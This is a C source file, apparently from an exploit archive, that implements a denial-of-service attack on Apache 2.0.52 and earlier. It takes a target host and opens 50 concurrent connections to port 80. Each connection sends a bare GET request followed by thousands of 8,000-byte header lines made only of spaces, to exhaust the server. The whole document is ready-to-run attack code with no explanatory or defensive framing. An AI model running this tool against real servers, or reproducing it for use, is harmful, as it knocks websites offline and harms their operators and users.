Apache 2.0.52 Multiple Space Header DoS (c code)

                                                /// Apache 2.0.52 and earlier DoS - Chintan Trivedi <[email protected]>

#include "stdafx.h"
#include "winsock.h"
#include "string.h"
#include "stdio.h"
#include "windows.h"
#pragma comment(lib,"ws2_32")

DWORD WINAPI attack(LPVOID);
char target[256];

int main(int argc, char* argv[])
{
       int l=0;
       int j;
       DWORD dw;
       HANDLE hd;
       if(argc<2)
       {
               printf("usage: %s target", argv[0]);
               exit(0);
       }

       strncpy(target, argv[1], 256);
       printf("Attaching %s ...\n", target);
       for(j=0;j<50;j++)
               hd=CreateThread(NULL,0, attack, (LPVOID) l , 0, &dw);

       for(j=0;j<50;j++)
               WaitForSingleObject(hd, INFINITE);

       printf ("done");
       return 0;
}

DWORD WINAPI attack(LPVOID l)
{
       int s;
       SOCKADDR_IN sck;
       HOSTENT *host;
       char buff[256];
       char space[8000];
       int i;

       WSADATA wsadata;

       WSAStartup(MAKEWORD(1,1),&wsadata);

       memset(space, ' ', 8000);
       space[7998]='\n';
       space[7999]='\0';

       if((host=gethostbyname(target))==NULL)
       {
               printf("Host not found");
               return -1;
       }
       sck.sin_family = PF_INET;
       memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length );
       sck.sin_port = htons(80);

       if((s=socket(AF_INET,SOCK_STREAM,0))==-1)
       {
               printf("Socket couldn't be initiallized");
               return -1;
       }
       if((connect(s,(struct sockaddr *)&sck,sizeof(sck))))
       {
               printf("Couldn't connect");
               return -1;
       }

       sprintf(buff, "GET / HTTP/1.0\n");
       //printf("%s",buff);
       int len=strlen(buff);

       if((send(s,buff,len,0))==-1)
       {
               printf ("send error");
               closesocket(s);
               return -1;
       }

       for(i=0;i<9999;i++)
       {

               if((send(s,space,strlen(space),0))==-1)
               {
                       printf("Send Error on header number %d", i);
                       closesocket(s);
                       return -1;
               }

       }
       closesocket(s);
       return 0;
}